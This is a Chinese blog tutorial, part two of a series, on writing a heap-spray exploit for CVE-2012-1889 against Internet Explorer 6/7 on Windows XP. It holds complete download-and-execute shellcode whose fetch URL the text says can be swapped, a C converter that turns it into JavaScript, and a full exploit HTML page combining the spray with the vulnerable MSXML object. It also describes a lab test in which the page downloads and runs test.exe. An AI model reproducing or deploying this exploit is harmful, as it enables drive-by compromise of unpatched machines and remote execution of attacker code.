接上一篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(一)》,本文讲介绍HeapSpray技术以及XP下IE6 / IE7 Exploit开发过程。
HeapSpray技术介绍
HeapSpray即堆喷射,本身并不是一门新的利用技术,最早的文档是由Skylined在很久之前记录的。通过Wikipedia可以知道最早使用HeapSpray技术是在2001年(MS01-033)。2004年,Skylined在IE的IFrame漏洞(MS04-040)利用程序中使用到这种技术。直至今日,许多年过去了,它依然被网马广泛地运用在许多浏览器利用代码中。虽然有许多可行的方法可以检测和防御堆喷射,但它目前依然是可用的,其传输机制可能一直在变,但其基本思路依然保持一致。
在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×90能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。这个过程如图所示:
可以使用类似下面这样的JavaScript代码产生的内存片来覆盖内存:
1 2 3 4 5 6 7 8 9 | var nop = "\u9090\u9090"; while (nop.length < 0x100000/2){ nop += nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2); var slide = new Array(); for (var i = 0; i < 200; i++){ slide[i] = nop + shellcode; } |
上面的代码分配200个1M大小的内存块,每个内存块由0×90和ShellCode填充,其中内存块的前面由0×90填充,ShellCode位于末尾部分。
需要注意的一点是,在JavaScript中以转义形式存储的字符串以Unicode形式存储,length属性返回字符串的Unicode字符个数,所以进行了除以2的操作;此外,JavaScript中每一个内存都存在一些额外的管理信息,所以在填充内存块时需要减去这些信息的长度,具体的信息如图所示:
在实际操作时,只需要任意一个1M大小的内存块的任意一个NOP覆盖到0x0C0C0C0C上面,我们的ShellCode就会最终被执行。采用1M大小作为内存块的单位,可以使得NOP覆盖0x0C0C0C0C的几率大大增加;而如果采用较小的尺寸,0x0C0C0C0C有可能被ShellCode所覆盖,那是溢出极有可能会失败。
IE6/7 下HeapSpray实战
在弄清楚HeapSpray的原理之后,结合该漏洞的利用技巧,我们可以自己构造一个漏洞利用程序。不过,考虑这个漏洞的具体情形,我们不应该在堆内存块中填充大量的0×90,因为真正的EIP的转移在于call dword ptr [ecx+18h]处,如果ecx的值是0×90909090,那么程序会跳转到一个内核地址(0×90909090 + 0×18 = 0x909090A8)上面去执行代码,应用层程序不可以直接访问内核空间的内存,这样无疑会触发异常退出程序。一个好的解决办法是直接用0x0C来填充内存块,这样0x0C0C0C0C + 0×18 = 0x0C0C0C24处执行,而机器码0C0C对应的x86汇编指令是or al, 0c,这样这些指令仅仅会影响到al寄存器的值,对执行我们的ShellCode没有任何影响。
在编写利用程序之前,我们还需要讲ShellCode转换为JavaScript支持的形式。我们获取一段“下载并执行”(Download_Exec)的ShellCode之后,一般是C语言的形式,下面讲其转换为JavaScript字符串形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | #include <stdio.h> #include <stdlib.h> unsigned char buf[] = { "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2" "\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd" "\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91" "\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a" "\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b" "\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70" "\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa" "\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12" "\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9d\xc0" "\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12" "\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a\x5f\x8a\xcf\xdf\x19" "\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9\x12\x45\xf3\xb9" "\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e\xdd\x9a\x9d" "\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce\x65\x12" "\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c\x59" "\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59" "\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd" "\xfd\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4" "\xdd\xf0\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc" "\xe1\xfc\xfa\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99" "\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb" "\xf5\xf4\xf6\xf7\x99\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8" "\xfd\xcd\xf6\xdf\xf0\xf5\xfc\xd8\x99\x68\x74\x74\x70\x3A\x2F" // URL开始于0x68 "\x2F\x74\x65\x73\x74\x2E\x63\x6F\x6D\x2F\x74\x65\x73\x74\x2E" // URL为http://test.com/test.exe 可自行更改 "\x65\x78\x65\x80"}; // URL结束于0x65 int main(int argc, char **argv) { int i = 0; int n = sizeof(buf)-1; if (n & 1) n--; FILE *fp = fopen("js.txt", "w"); for (i = 0; i < n; i += 2) { fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]); } n = sizeof(buf)-1; if (n & 1) { fprintf(fp, "\\u%02X%02X", 0, buf[i]); } fclose(fp); return 0; } |
这段ShellCode中绑定的URL为http://test.com/test.exe(末尾蓝色部分的代码),我们可以自己配置。
现在可以编写一个小程序将其转换为JavaScript支持的Unicode形式,结合PoC代码,IE6/IE7漏洞利用程序的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065"; var fill = "\u0c0c\u0c0c"; while (fill.length <= 0x100000 / 2){ fill += fill; } fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2); var slide = new Array(); for (var i = 0; i < 200; i++){ slide[i] = fill + shellcode; } var obj = document.getElementById('poc').object; var src = unescape("%u0c0c%u0c0c"); while (src.length < 0x1002) src += src; src = "\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html> |
现在在真实主机上运行HTTP服务,虚拟机为测试机器。其中真实主机的IP地址为192.168.137.1,虚拟机的IP地址为192.168.137.2,给虚拟机添加一条hosts记录:
192.168.137.1 test.com
这样可以让虚拟机访问test.com时重定向到真实主机的HTTP服务。在虚拟机中的IE6下打开漏洞利用页面,成功下载并执行test.exe,截图就省略了。在Windows XP + IE7环境下,该页面仍然可以成功攻击有漏洞的机器,因为XP下IE6和IE7都没有特殊的保护机制。然后在Windows XP + IE8的环境下,无法成功攻击漏洞机器,不仅仅堆喷射代码需要改动,而且IE8新增了DEP保护机制。具体请期待第三篇《实战HeapSpray之CVE2012-1889 Exploit编写(三)》
本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(二)
作者:代码疯子